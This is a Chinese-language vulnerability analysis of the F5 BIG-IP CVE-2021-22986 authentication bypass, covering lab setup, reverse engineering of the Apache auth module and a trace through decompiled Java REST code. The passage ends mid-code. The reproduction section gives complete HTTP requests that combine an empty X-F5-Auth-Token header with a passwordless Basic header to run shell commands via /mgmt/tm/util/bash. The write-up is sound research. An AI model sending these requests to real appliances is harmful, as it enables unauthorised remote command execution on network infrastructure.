F5 BIGIP CVE-2021-22986认证绕过漏洞分析

admin 2025年1月11日14:49:13评论6 views字数 40182阅读133分56秒阅读模式
出品|先知社区(ID: 1s1and)

声明

以下内容,来自先知社区的1s1and作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

概述

官方信息:

https://support.f5.com/csp/article/K03009991

影响范围:

F5 BIGIP CVE-2021-22986认证绕过漏洞分析

作为java菜鸟,借此框架加深对java的理解以及各种分析手段的学习,推荐同样作为java新手的人可以看一看大佬可以直接跳过

环境搭建

F5下载网站注册后可成功下载虚拟机版的镜像文件,我这里下载了16.0.0版本的虚拟机ovf,使用vmware可以直接导入

注意在注册账户的时候在国家选择的时候不要瞎选,我开始选了一个不知名的国家,在下载时候报错说软件禁运,不让下载,折腾了半天重新注册了一个账号才搞定。

官网提供F5 rest api说明文档,正常的访问web界面的诸多功能的话还需要一个有效的license key,但是这里为了调试漏洞不是很必须,所以省了这个步骤。

vmware导入ovf文件后会要求输入口令密码,默认是root/default,输入后会要求更改默认口令

进入后输入config可以更改虚拟机ip,我将虚拟机的ip更改为了172.16.113.247

打开web界面https://172.16.113.247即可使用admin/刚刚设置的密码登陆

漏洞复现

默认发送,会报401, Server为Apache

F5 BIGIP CVE-2021-22986认证绕过漏洞分析

给一个错误的Authorization认证头(为admin:的base64值),依然会报401, Server为Apache

F5 BIGIP CVE-2021-22986认证绕过漏洞分析

去掉Authorization认证头,加一个X-F5-Auth-Token认证头,依然报401,但是此时Server为Jetty

F5 BIGIP CVE-2021-22986认证绕过漏洞分析

然而,当两个头都存在的时候,认证会绕过并执行命令:

F5 BIGIP CVE-2021-22986认证绕过漏洞分析

通过这几个包的测试我们可以得出结论,当存在X-F5-Auth-Token头时,apache不检查basic认证头,jetty在检查时,只检查Authorization的用户名不检查密码,但是为什么会这样呢,尝试分析

分析

apache认证绕过漏洞分析

简单分析可以知道443是httpd开启的,其使用了apache 2.4.6框架

[root@localhost:NO LICENSE:Standalone] ~ # netstat -antp | grep :443tcp6       0      0 :::443                  :::*                    LISTEN      4795/httpd[root@localhost:NO LICENSE:Standalone] ~ # httpd -vServer version: BIG-IP 67.el7.centos.5.0.0.12 (customized Apache/2.4.6) (CentOS)Server built:   Jun 23 2020 16:37:41

进入httpd配置目录/etc/httpd/

[root@localhost:NO LICENSE:Standalone] httpd # cd /etc/httpd/[root@localhost:NO LICENSE:Standalone] httpd # grep -r "/mgmt" ./*Binary file ./modules/mod_f5_auth_cookie.so matchesBinary file ./modules/mod_auth_pam.so matches./run/config/httpd.conf:<ProxyMatch /mgmt/>./run/config/httpd.conf:RewriteRule ^/mgmt$ /mgmt/ [PT]./run/config/httpd.conf:RewriteRule ^/mgmt(/vmchannel/.*) $1 [PT]./run/config/httpd.conf:ProxyPass /mgmt/rpm !./run/config/httpd.conf:ProxyPass /mgmt/job !./run/config/httpd.conf:ProxyPass /mgmt/endpoint !./run/config/httpd.conf:ProxyPass /mgmt/ http://localhost:8100/mgmt/ retry=0./run/config/httpd.conf:ProxyPassReverse /mgmt/ http://localhost:8100/mgmt/./run/udev/data/n6:E:SYSTEMD_ALIAS=/sys/subsystem/net/devices/mgmt

打开https.conf,找到以下相关部分:

<ProxyMatch /mgmt/>    # Access is restricted to traffic from 127.0.0.1Require ip 127.0.0.1Require ip 127.4.2.2    # This is an exact copy of the authentication settings of the document root.# If a connection is attempted from anywhere but 127.*.*.*, then it will have# to be authenticated.# we control basic auth via this file...    IncludeOptional /etc/httpd/conf/basic_auth*.conf    AuthName "Enterprise Manager"    AuthPAM_Enabled on    AuthPAM_ExpiredPasswordsSupport onrequire valid-user</ProxyMatch>RewriteEngine onRewriteRule ^/mgmt$ /mgmt/ [PT]RewriteRule ^/mgmt(/vmchannel/.*) $1 [PT]# Don't proxy REST rpm endpoint requests.ProxyPass /mgmt/rpm !ProxyPass /mgmt/job !ProxyPass /mgmt/endpoint !# Proxy REST service bus requests.# We always retry so if we restart the REST service bus, Apache# will quickly re-discover it. (The default is 60 seconds.)# If you have retry timeout > 0, Apache timers may go awry# when clock is reset. It may never re-enable the proxy.ProxyPass /vmchannel/ http://localhost:8585/vmchannel/ retry=0ProxyPass /mgmt/ http://localhost:8100/mgmt/ retry=0

可以了解到请求/mgmt/相关url开启了AuthPAM_Enabled,启用auth会调用

/usr/lib/httpd/modules/mod_auth_pam.so判断鉴权,尝试逆向

/usr/lib/httpd/modules/mod_auth_pam.so文件。IDA中,将汇编统一解析为intel风格,mov dst source

参考Apache Hook机制解析(上)——钩子机制的实现apache的mod都是通过钩子实现的,逆向mod_auth_pam.so发现

int pam_register_hooks(){  ap_hook_check_authz(sub_5AF0, 0, 0, 20, 1);return ap_hook_check_access_ex(sub_5AF0, 0, 0, 20, 1);}

认证检查的具体代码都在sub_5AF0当中,这个函数很大,而且由于不知名原因不能反编译拿到伪代码,但是可以找到"X-F5-Auth-Token"的调用:

F5 BIGIP CVE-2021-22986认证绕过漏洞分析

由于代码量较大,看起来比较累,计划结合动态调试搞清楚逻辑,

由于apache默认的话会开启子进程来处理,调试进程这个有点麻烦,为了方便调试搞清楚apache认证绕过过程,以单线程的方式重启httpd

/usr/sbin/httpd -DTrafficShield -DAVRUI -DWebAccelerator -DSAM -X

通过查看指定进程号下的maps文件,即可知道mod_auth_pam.so的加载基地址

[root@localhost:NO LICENSE:Standalone] config # cat /proc/$(ps -ef |grep "/usr/sbin/httpd -D" | grep -v "grep" | awk '{print $2}')/maps | grep mod_auth_pam.so | grep r-xp563aa000-563b7000 r-xp 00000000 fd:06 168436                             /usr/lib/httpd/modules/mod_auth_pam.so

在mod_auth_pam.so的loc_72D0地址处下断点,即hex(0x563aa000+0x72d0)=0x563b12d0

(gdb) b *0x563b12d0Breakpoint 1 at 0x563b12d0

然后发送数据包(注意,这个数据包里面是没有X-F5-Auth-Token头的):

POST /mgmt/tm/util/bash HTTP/1.1Host: 172.16.113.247Authorization: Basic YWRtaW46Connection: closeContent-type: application/jsonContent-Length: 41{"command":"run", "utilCmdArgs": "-c id"}

继续调试程序,当运行至0x563b12ee(即test eax, eax)时

0x563b12ee in ?? () from /etc/httpd/modules/mod_auth_pam.so(gdb) i r $eaxeax            0x0      0

可以看出,从头里面取出X-F5-Auth-Token返回值为0,会继续运行,获取其它参数的值

F5 BIGIP CVE-2021-22986认证绕过漏洞分析

进而会使用从头Authorization中取到的值拿去loc_5f28做验证:

F5 BIGIP CVE-2021-22986认证绕过漏洞分析

自然,这里是通过不了认证的,会由apache返回登陆失败

然而,如果重新发一个存在X-F5-Auth-Token头的数据包:

POST /mgmt/tm/util/bash HTTP/1.1Host: 172.16.113.247X-F5-Auth-Token:Connection: closeContent-type: application/jsonContent-Length: 41{"command":"run", "utilCmdArgs": "-c id"}

认证校验这里则会奇怪的绕过对其它头信息的获取及校验,直接扔给http://localhost:8100/mgmt/做下一步操作

jetty认证绕过漏洞分析

前面已经分析清楚了,如果存在X-F5-Auth-Token则会绕过apache的认证机制,绕过之后,相关信息会被转发给local:8100来做下一步的处理,

查看一下8100是哪个程序在处理:

[root@localhost:NO LICENSE:Standalone] conf # netstat -antp | grep :8100tcp        1      0 127.0.0.1:55220         127.0.0.1:8100          CLOSE_WAIT  28239/httpdtcp        1      0 127.0.0.1:49718         127.0.0.1:8100          CLOSE_WAIT  5406/icr_eventdtcp        1      0 127.0.0.1:51758         127.0.0.1:8100          CLOSE_WAIT  28255/httpdtcp        1      0 127.0.0.1:59548         127.0.0.1:8100          CLOSE_WAIT  28270/httpdtcp        1      0 127.0.0.1:43864         127.0.0.1:8100          CLOSE_WAIT  28209/httpdtcp        1      0 127.0.0.1:47692         127.0.0.1:8100          CLOSE_WAIT  24091/httpdtcp6       0      0 127.0.0.1:8100          :::*                    LISTEN      21186/javatcp6       0      0 127.0.0.1:8100          127.0.0.1:49718         FIN_WAIT2   21186/java[root@localhost:NO LICENSE:Standalone] cat /proc/21186/cmdline /usr/lib/jvm/jre/bin/java-D java.util.logging.manager=com.f5.rest.common.RestLogManager-D java.util.logging.config.file=/etc/restjavad.log.conf-D log4j.defaultInitOverride=true-D org.quartz.properties=/etc/quartz.properties -Xss384k -XX:+PrintFlagsFinal-D sun.jnu.encoding=UTF-8-D file.encoding=UTF-8-XX:+PrintGC -Xloggc:/var/log/restjavad-gc.log -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=2 -XX:GCLogFileSize=1M -XX:+PrintGCDateStamps -XX:+PrintGCTimeStamps -XX:MaxPermSize=72m -Xms96m -Xmx192m -XX:-UseLargePages -XX:StringTableSize=60013 -classpath :/usr/share/java/rest/f5.rest.adc.bigip.jar:/usr/share/java/rest/f5.rest.adc.shared.jar:/usr/share/java/rest/f5.rest.asm.jar:/usr/share/java/rest/f5.rest.icr.jar:/usr/share/java/rest/f5.rest.jar:/usr/share/java/rest/f5.rest.live-update.jar:/usr/share/java/rest/f5.rest.nsyncd.jar:/usr/share/java/rest/libs/axis-1.1.jar:/usr/share/java/rest/libs/bcpkix-1.59.jar:/usr/share/java/rest/libs/bcprov-1.59.jar:/usr/share/java/rest/libs/cal10n-api-0.7.4.jar:/usr/share/java/rest/libs/commonj.sdo-2.1.1.jar:/usr/share/java/rest/libs/commons-codec.jar:/usr/share/java/rest/libs/commons-discovery.jar:/usr/share/java/rest/libs/commons-exec-1.3.jar:/usr/share/java/rest/libs/commons-io-1.4.jar:/usr/share/java/rest/libs/commons-lang.jar:/usr/share/java/rest/libs/commons-lang3-3.2.1.jar:/usr/share/java/rest/libs/commons-logging.jar:/usr/share/java/rest/libs/concurrent-trees-2.5.0.jar:/usr/share/java/rest/libs/core4j-0.5.jar:/usr/share/java/rest/libs/eclipselink-2.4.2.jar:/usr/share/java/rest/libs/f5.asmconfig.jar:/usr/share/java/rest/libs/f5.rest.mcp.mcpj.jar:/usr/share/java/rest/libs/f5.rest.mcp.schema.jar:/usr/share/java/rest/libs/f5.soap.licensing.jar:/usr/share/java/rest/libs/federation.jar:/usr/share/java/rest/libs/gson-2.8.2.jar:/usr/share/java/rest/libs/guava-20.0.jar:/usr/share/java/rest/libs/httpasyncclient.jar:/usr/share/java/rest/libs/httpclient.jar:/usr/share/java/rest/libs/httpcore-nio.jar:/usr/share/java/rest/libs/httpcore.jar:/usr/share/java/rest/libs/httpmime.jar:/usr/share/java/rest/libs/icrd-src.jar:/usr/share/java/rest/libs/icrd.jar:/usr/share/java/rest/libs/jackson-annotations-2.9.5.jar:/usr/share/java/rest/libs/jackson-core-2.9.5.jar:/usr/share/java/rest/libs/jackson-databind-2.9.5.jar:/usr/share/java/rest/libs/jackson-dataformat-yaml-2.9.5.jar:/usr/share/java/rest/libs/javax.persistence-2.1.1.jar:/usr/share/java/rest/libs/javax.servlet-api.jar:/usr/share/java/rest/libs/jaxrpc-1.1.jar:/usr/share/java/rest/libs/jetty-all.jar:/usr/share/java/rest/libs/joda-time-2.9.9.jar:/usr/share/java/rest/libs/jsch-0.1.53.jar:/usr/share/java/rest/libs/json_simple.jar:/usr/share/java/rest/libs/jsr311-api-1.1.1.jar:/usr/share/java/rest/libs/libthrift.jar:/usr/share/java/rest/libs/log4j.jar:/usr/share/java/rest/libs/lucene-analyzers-common-4.10.4.jar:/usr/share/java/rest/libs/lucene-core-4.10.4.jar:/usr/share/java/rest/libs/lucene-facet-4.10.4.jar:/usr/share/java/rest/libs/odata4j-0.7.0-core.jar:/usr/share/java/rest/libs/quartz-2.2.1.jar:/usr/share/java/rest/libs/slf4j-api.jar:/usr/share/java/rest/libs/slf4j-ext-1.6.3.jar:/usr/share/java/rest/libs/slf4j-log4j12.jar:/usr/share/java/rest/libs/snakeyaml-1.18.jar:/usr/share/java/rest/libs/swagger-annotations-1.5.19.jar:/usr/share/java/rest/libs/swagger-core-1.5.19.jar:/usr/share/java/rest/libs/swagger-models-1.5.19.jar:/usr/share/java/rest/libs/swagger-parser-1.0.35.jar:/usr/share/java/rest/libs/validation-api-1.1.0.Final.jar:/usr/share/java/rest/libs/wsdl4j-1.1.jar:/usr/share/java/f5-avr-reporter-api.jar com.f5.rest.workers.RestWorkerHost --port=8100 --outboundConnectionTimeoutSeconds=60 --icrdConnectionTimeoutSeconds=60 --workerJarDirectory=/usr/share/java/rest --configIndexDirectory=/var/config/rest/index --storageDirectory=/var/config/rest/storage --storageConfFile=/etc/rest.storage.BIG-IP.conf --restPropertiesFiles=/etc/rest.common.properties,/etc/rest.BIG-IP.properties --machineId=ff716f6f-1be0-4de5-8ca8-17beb749e271

我看到基本都是/usr/share/java/rest/这个目录下的jar包,所以偷个懒把/usr/share/java/rest/目录下的所有jar包反编译

由漏洞复现中的数据包我们可以大概猜测,X-F5-Auth-Token绕过了apache认证,那Authorization: Basic YWRtaW46应该绕过了java这里的认证

由于在Authorization这里我们只是放了admin:的base64的值,所以猜测java这里并没有去真正的校验密码,只是检查了一下用户名,所以在看java时候,我们也可以有挑选的去找我们的切入点,从Authorization开始下手

动态调试:通过以下方式可以得知进程运行目录为 /var/service/restjavad

[root@localhost:NO LICENSE:Standalone] config # ls -al /proc/21186/total 0dr-xr-xr-x.   9 root root 0 May 16 08:17 .dr-xr-xr-x. 300 root root 0 May 16 07:23 ..dr-xr-xr-x.   2 root root 0 May 16 16:51 attr-rw-r--r--.   1 root root 0 May 16 16:51 autogroup-r--------.   1 root root 0 May 16 16:51 auxv-r--r--r--.   1 root root 0 May 16 16:51 cgroup--w-------.   1 root root 0 May 16 16:51 clear_refs-r--r--r--.   1 root root 0 May 16 09:05 cmdline-rw-r--r--.   1 root root 0 May 16 16:51 comm-rw-r--r--.   1 root root 0 May 16 16:51 coredump_filter-r--r--r--.   1 root root 0 May 16 16:51 cpusetlrwxrwxrwx.   1 root root 0 May 16 16:51 cwd -> /var/service/restjavad-r--------.   1 root root 0 May 16 16:51 environlrwxrwxrwx.   1 root root 0 May 16 16:51 exe -> /usr/java/java-1.7.0-openjdk/jre-abrt/bin/javadr-x------.   2 root root 0 May 16 16:51 fddr-x------.   2 root root 0 May 16 16:51 fdinfo-rw-r--r--.   1 root root 0 May 16 16:51 gid_map-r--------.   1 root root 0 May 16 16:51 io-r--r--r--.   1 root root 0 May 16 16:51 limits-rw-r--r--.   1 root root 0 May 16 16:51 loginuiddr-x------.   2 root root 0 May 16 16:51 map_files-r--r--r--.   1 root root 0 May 16 16:51 maps-rw-------.   1 root root 0 May 16 16:51 mem-r--r--r--.   1 root root 0 May 16 16:51 mountinfo-r--r--r--.   1 root root 0 May 16 16:51 mounts-r--------.   1 root root 0 May 16 16:51 mountstatsdr-xr-xr-x.   6 root root 0 May 16 16:51 netdr-x--x--x.   2 root root 0 May 16 16:51 ns-r--r--r--.   1 root root 0 May 16 16:51 numa_maps-rw-r--r--.   1 root root 0 May 16 16:51 oom_adj-r--r--r--.   1 root root 0 May 16 16:51 oom_score-rw-r--r--.   1 root root 0 May 16 16:51 oom_score_adj-r--r--r--.   1 root root 0 May 16 16:51 pagemap-r--r--r--.   1 root root 0 May 16 16:51 personality-rw-r--r--.   1 root root 0 May 16 16:51 projid_maplrwxrwxrwx.   1 root root 0 May 16 16:51 root -> /-rw-r--r--.   1 root root 0 May 16 16:51 sched-r--r--r--.   1 root root 0 May 16 16:51 schedstat-r--r--r--.   1 root root 0 May 16 16:51 sessionid-rw-r--r--.   1 root root 0 May 16 16:51 setgroups-r--r--r--.   1 root root 0 May 16 16:51 smaps-r--r--r--.   1 root root 0 May 16 16:51 stack-r--r--r--.   1 root root 0 May 16 09:04 stat-r--r--r--.   1 root root 0 May 16 09:04 statm-r--r--r--.   1 root root 0 May 16 09:03 status-r--r--r--.   1 root root 0 May 16 16:51 syscalldr-xr-xr-x.  43 root root 0 May 16 16:51 task-r--r--r--.   1 root root 0 May 16 16:51 timers-rw-r--r--.   1 root root 0 May 16 16:51 uid_map-r--r--r--.   1 root root 0 May 16 16:51 wchan
[root@localhost:NO LICENSE:Standalone] restjavad # ls -al /var/service/restjavadtotal 20drwxr-xr-x.   5 root root 4096 May 16 07:24 .drwxr-xr-x. 107 root root 4096 Jun 23  2020 ..drwxr-xr-x.   2 root root 4096 Jun 23  2020 depsdrwxr-xr-x.   2 root root 4096 Jun 23  2020 requireslrwxrwxrwx.   1 root root   31 Jun 23  2020 run -> /etc/bigstart/scripts/restjavaddrwx------.   2 root root 4096 May 16 07:27 supervise

修改run文件,即/etc/bigstart/scripts/restjavad

增加一行

JVM_OPTIONS+=" -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8777"

同时,利用 tmsh 将jdwp监听端口8777开放出去

[root@localhost:NO LICENSE:Standalone] / # tmshroot@(localhost)(cfg-sync Standalone)(NO LICENSE)(/Common)(tmos)# security firewallroot@(localhost)(cfg-sync Standalone)(NO LICENSE)(/Common)(tmos.security.firewall)# modify management-ip-rules rules add { allow-access-8777 { action accept destination { ports add { 8777 } } ip-protocol tcp place-before first } }

然后直接杀掉这个进程,会自动重启并开放8777调试端口,根据

[root@localhost:NO LICENSE:Standalone] cat /proc/21186/cmdline /usr/lib/jvm/jre/bin/java-D java.util.logging.manager=com.f5.rest.common.RestLogManager-D java.util.logging.config.file=/etc/restjavad.log.conf-D log4j.defaultInitOverride=true-D org.quartz.properties=/etc/quartz.properties -Xss384k -XX:+PrintFlagsFinal-D sun.jnu.encoding=UTF-8-D file.encoding=UTF-8 -XX:+PrintGC -Xloggc:/var/log/restjavad-gc.log -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=2 -XX:GCLogFileSize=1M -XX:+PrintGCDateStamps -XX:+PrintGCTimeStamps -XX:MaxPermSize=72m -Xms96m -Xmx192m -XX:-UseLargePages -XX:StringTableSize=60013 -classpath :/usr/share/java/rest/f5.rest.adc.bigip.jar:/usr/share/java/rest/f5.rest.adc.shared.jar:/usr/share/java/rest/f5.rest.asm.jar:/usr/share/java/rest/f5.rest.icr.jar:/usr/share/java/rest/f5.rest.jar:/usr/share/java/rest/f5.rest.live-update.jar:/usr/share/java/rest/f5.rest.nsyncd.jar:/usr/share/java/rest/libs/axis-1.1.jar:/usr/share/java/rest/libs/bcpkix-1.59.jar:/usr/share/java/rest/libs/bcprov-1.59.jar:/usr/share/java/rest/libs/cal10n-api-0.7.4.jar:/usr/share/java/rest/libs/commonj.sdo-2.1.1.jar:/usr/share/java/rest/libs/commons-codec.jar:/usr/share/java/rest/libs/commons-discovery.jar:/usr/share/java/rest/libs/commons-exec-1.3.jar:/usr/share/java/rest/libs/commons-io-1.4.jar:/usr/share/java/rest/libs/commons-lang.jar:/usr/share/java/rest/libs/commons-lang3-3.2.1.jar:/usr/share/java/rest/libs/commons-logging.jar:/usr/share/java/rest/libs/concurrent-trees-2.5.0.jar:/usr/share/java/rest/libs/core4j-0.5.jar:/usr/share/java/rest/libs/eclipselink-2.4.2.jar:/usr/share/java/rest/libs/f5.asmconfig.jar:/usr/share/java/rest/libs/f5.rest.mcp.mcpj.jar:/usr/share/java/rest/libs/f5.rest.mcp.schema.jar:/usr/share/java/rest/libs/f5.soap.licensing.jar:/usr/share/java/rest/libs/federation.jar:/usr/share/java/rest/libs/gson-2.8.2.jar:/usr/share/java/rest/libs/guava-20.0.jar:/usr/share/java/rest/libs/httpasyncclient.jar:/usr/share/java/rest/libs/httpclient.jar:/usr/share/java/rest/libs/httpcore-nio.jar:/usr/share/java/rest/libs/httpcore.jar:/usr/share/java/rest/libs/httpmime.jar:/usr/share/java/rest/libs/icrd-src.jar:/usr/share/java/rest/libs/icrd.jar:/usr/share/java/rest/libs/jackson-annotations-2.9.5.jar:/usr/share/java/rest/libs/jackson-core-2.9.5.jar:/usr/share/java/rest/libs/jackson-databind-2.9.5.jar:/usr/share/java/rest/libs/jackson-dataformat-yaml-2.9.5.jar:/usr/share/java/rest/libs/javax.persistence-2.1.1.jar:/usr/share/java/rest/libs/javax.servlet-api.jar:/usr/share/java/rest/libs/jaxrpc-1.1.jar:/usr/share/java/rest/libs/jetty-all.jar:/usr/share/java/rest/libs/joda-time-2.9.9.jar:/usr/share/java/rest/libs/jsch-0.1.53.jar:/usr/share/java/rest/libs/json_simple.jar:/usr/share/java/rest/libs/jsr311-api-1.1.1.jar:/usr/share/java/rest/libs/libthrift.jar:/usr/share/java/rest/libs/log4j.jar:/usr/share/java/rest/libs/lucene-analyzers-common-4.10.4.jar:/usr/share/java/rest/libs/lucene-core-4.10.4.jar:/usr/share/java/rest/libs/lucene-facet-4.10.4.jar:/usr/share/java/rest/libs/odata4j-0.7.0-core.jar:/usr/share/java/rest/libs/quartz-2.2.1.jar:/usr/share/java/rest/libs/slf4j-api.jar:/usr/share/java/rest/libs/slf4j-ext-1.6.3.jar:/usr/share/java/rest/libs/slf4j-log4j12.jar:/usr/share/java/rest/libs/snakeyaml-1.18.jar:/usr/share/java/rest/libs/swagger-annotations-1.5.19.jar:/usr/share/java/rest/libs/swagger-core-1.5.19.jar:/usr/share/java/rest/libs/swagger-models-1.5.19.jar:/usr/share/java/rest/libs/swagger-parser-1.0.35.jar:/usr/share/java/rest/libs/validation-api-1.1.0.Final.jar:/usr/share/java/rest/libs/wsdl4j-1.1.jar:/usr/share/java/f5-avr-reporter-api.jar com.f5.rest.workers.RestWorkerHost --port=8100 --outboundConnectionTimeoutSeconds=60 --icrdConnectionTimeoutSeconds=60 --workerJarDirectory=/usr/share/java/rest --configIndexDirectory=/var/config/rest/index --storageDirectory=/var/config/rest/storage --storageConfFile=/etc/rest.storage.BIG-IP.conf --restPropertiesFiles=/etc/rest.common.properties,/etc/rest.BIG-IP.properties --machineId=ff716f6f-1be0-4de5-8ca8-17beb749e271

可知,主类为com.f5.rest.workers.RestWorkerHost

在idea按两下shift搜索RestWorkerHost即可搜到文件RestWorkerHost.class

经过大佬指点,我把/usr/share/java/rest目录下面的jar包全部反编译,然后用VS Code打开审计

先看一下RestWorkerHost.java,从其中main函数开始向下审计

public static void main(String[] args) throws Exception {      Thread.setDefaultUncaughtExceptionHandler(DieOnUncaughtErrorHandler.getHandler());      CommandArgumentParser.parse(RestWorkerHost.class, args);try {         host = new RestWorkerHost();         host.start();      } catch (Exception var5) {         LOGGER.severe(RestHelper.throwableStackToString(var5));      } finally {         Thread.sleep(1000L);         System.exit(1);      }   }

实例化了一个RestWorkerHost对象,然后调用start函数

void start() throws Exception {  ...this.server = new RestServer(port);  ...this.server.start();  ...  }

在start函数中,实例化了一个RestServer对象server,然后调用start函数,在这里一定不要急着去看RestServer类的start函数,先看看RestServer这个类的构造函数

public RestServer(int port) {this(port, new JettyHost());   }public RestServer(int port, JettyHost jettyHost) {this.pathToWorkerMap = new ConcurrentSkipListMap();this.workerToCollectionPathsMap = new ConcurrentSkipListMap();this.checkRestWorkerShutdownMillis = (int)TimeUnit.MINUTES.toMillis(1L);this.supportWorkersStarted = false;this.allowStackTracesInPublicResponse = false;this.storageUri = null;this.configIndexUri = null;this.groupResolverUri = null;this.deviceResolverUri = null;this.forwarderUri = null;this.machineId = null;this.discoveryAddress = null;this.scheduleTaskManager = (new ScheduleTaskManager()).setLogger(LOGGER);this.readyWorkerSet = new ConcurrentSkipListSet();this.indexRebuildCoordinator = new RunnableCoordinator(1);this.forwardRequestValidator = null;if (port < 0) {throw new IllegalArgumentException("port");        } else {this.listenPort = port;this.jettyHost = jettyHost;this.processRequestsTask = new Runnable() {public void run() {                    RestServer.this.processQueuedRequests();                }            };        }    }

可以看出,这里又会实例化一个JettyHost对象,然后我们再去看RestServer类的start函数

public int start() throws Exception {
......
this.listenPort = this.jettyHost.start(this.listenPort, RestWorkerHost.isPublic, this.extraConfig);
......
}

可以看出又会去调用jettyHost这个对象的start函数,JettyHost这个类没有构造函数,我们直接去看JettyHost这个类的start函数

public int start(int port, boolean isPublic, com.f5.rest.app.JettyHost.ExtraConfig extraConfig) throws Exception {   ......      ServletContextHandler contextHandler = new ServletContextHandler();      contextHandler.setContextPath("/");      ServletHolder asyncHolder = contextHandler.addServlet(RestServerServlet.class, "/*");      asyncHolder.setAsyncSupported(true);      handlers.addHandler(contextHandler);   ......   }

可以看出,针对性的处理的代码位于RestServerServlet中,找到了对应处理的servlet,其实就很简单了,剩下的工作就去研究servlet里面的内容就好了,主要逻辑都在其中,由于其继承了HttpServlet,所以我们直接看重载的service函数

protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {final AsyncContext context = req.startAsync();        context.start(new Runnable() {public void run() {                RestOperation op = null;try {                    op = RestServerServlet.this.createRestOperationFromServletRequest((HttpServletRequest)context.getRequest());                    ......                    }                } catch (Exception var4) {                    ......                }                op.setCompletion(new RestRequestCompletion() {public void completed(RestOperation operation) {                        RestServerServlet.sendRestOperation(context, operation);                    }public void failed(Exception ex, RestOperation operation) {                        RestServerServlet.failRequest(context, operation, ex, operation.getStatusCode());                    }                });try {                    ServletInputStream inputStream = context.getRequest().getInputStream();                    inputStream.setReadListener(RestServerServlet.this.new ReadListenerImpl(context, inputStream, op));                } catch (IOException var3) {                    RestServerServlet.failRequest(context, op, var3, 500);                }            }        });    }

其中,createRestOperationFromServletRequest针对 http包头做了一些处理,但是我们关注的是根据request的处理动作,所以我们需要聚焦于setReadListener,去看看ReadListenerImpl的处理,根据ReadListener接口文档,我们直接看ReadListenerImpl这个类实现的onAllDataRead函数

public void onAllDataRead() throws IOException {if (this.outputStream != null) {if (this.operation.getContentType() == null) {this.operation.setIncomingContentType("application/json");                }if (RestHelper.contentTypeUsesBinaryBody(this.operation.getContentType())) {                    byte[] binaryBody = this.outputStream.toByteArray();this.operation.setBinaryBody(binaryBody, this.operation.getContentType());                } else {                    String body = this.outputStream.toString(StandardCharsets.UTF_8.name());this.operation.setBody(body, this.operation.getContentType());                }            }            RestOperationIdentifier.setIdentityFromAuthenticationData(this.operation, new Runnable() {public void run() {if (!RestServer.trySendInProcess(ReadListenerImpl.this.operation)) {                        RestServerServlet.failRequest(ReadListenerImpl.this.context, ReadListenerImpl.this.operation, new RestWorkerUriNotFoundException(ReadListenerImpl.this.operation.getUri().toString()), 404);                    }                }            });            RestServer.trace(this.operation);        }

其中,第一个if判断是处理包的content-type头信息,不是很重要,看后边setIdentityFromAuthenticationData这个方法:

public static void setIdentityFromAuthenticationData(RestOperation request, Runnable completion) {if (!setIdentityFromDeviceAuthToken(request, completion)) {if (setIdentityFromF5AuthToken(request)) {                completion.run();            } else if (setIdentityFromBasicAuth(request)) {                completion.run();            } else {                completion.run();            }        }    }

看一下if里面的判断setIdentityFromDeviceAuthToken, 会检查包头里面有没有em_server_auth_token,没有则返回false,我们这里没有,所以直接返回false

然后会进入setIdentityFromF5AuthToken方法

private static boolean setIdentityFromF5AuthToken(RestOperation request) {        AuthTokenItemState token = request.getXF5AuthTokenState();if (token == null) {return false;        } else {            request.setIdentityData(token.userName, token.user, AuthzHelper.toArray(token.groupReferences));return true;        }    }

由于我们并没有设置X-F5-Auth-Token的值,所以此处返回token是null,直接返回false

自然,后边就会进入setIdentityFromBasicAuth方法

private static boolean setIdentityFromBasicAuth(RestOperation request) {String authHeader = request.getBasicAuthorization();if (authHeader == null) {return false;        } else {            BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);            request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);return true;        }    }

由于我们设置了Authorization的值,所以authHeader的值为YWRtaW46,进入setIdentityData

public RestOperation setIdentityData(String userName, RestReference userReference, RestReference[] groupReferences) {if (userName == null && !RestReference.isNullOrEmpty(userReference)) {String segment = UrlHelper.getLastPathSegment(userReference.link);if (userReference.link.equals(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(new String[]{WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, segment})))) {                userName = segment;            }        }if (userName != null && RestReference.isNullOrEmpty(userReference)) {            userReference = new RestReference(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(new String[]{WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, userName})));        }this.identityData = new RestOperation.IdentityData();this.identityData.userName = userName;this.identityData.userReference = userReference;this.identityData.groupReferences = groupReferences;return this;    }

这里会根据Authorization头的值解码获得的username生成一个新的userReference,到底怎么根据用户名生成的reference其实我们也不需要太过深究,动态调试知道是这么个结构就可以了:

F5 BIGIP CVE-2021-22986认证绕过漏洞分析

这一步完了之后,再回顾setIdentityFromAuthenticationData

public static void setIdentityFromAuthenticationData(RestOperation request, Runnable completion) {if (!setIdentityFromDeviceAuthToken(request, completion)) {if (setIdentityFromF5AuthToken(request)) {                completion.run();            } else if (setIdentityFromBasicAuth(request)) {                completion.run();            } else {                completion.run();            }        }    }

调用completion.run(),这个函数在调用函数onAllDataRead中规定好了

public void onAllDataRead() throws IOException {if (this.outputStream != null) {if (this.operation.getContentType() == null) {this.operation.setIncomingContentType("application/json");        }if (RestHelper.contentTypeUsesBinaryBody(this.operation.getContentType())) {            byte[] binaryBody = this.outputStream.toByteArray();this.operation.setBinaryBody(binaryBody, this.operation.getContentType());        } else {            String body = this.outputStream.toString(StandardCharsets.UTF_8.name());this.operation.setBody(body, this.operation.getContentType());        }    }    RestOperationIdentifier.setIdentityFromAuthenticationData(this.operation, new Runnable() {public void run() {if (!RestServer.trySendInProcess(ReadListenerImpl.this.operation)) {                RestServerServlet.failRequest(ReadListenerImpl.this.context, ReadListenerImpl.this.operation, new RestWorkerUriNotFoundException(ReadListenerImpl.this.operation.getUri().toString()), 404);            }        }    });    RestServer.trace(this.operation);}跟着先去看一下trySendInProcess```javapublic static boolean trySendInProcess(RestOperation request) {try {            URI uri = request.getUri();if (uri == null) {throw new IllegalArgumentException("uri is null");            }if (!RestHelper.isLocalHost(uri.getHost())) {return false;            }            RestServer server = getInstance(uri.getPort());if (server == null) {return false;            }            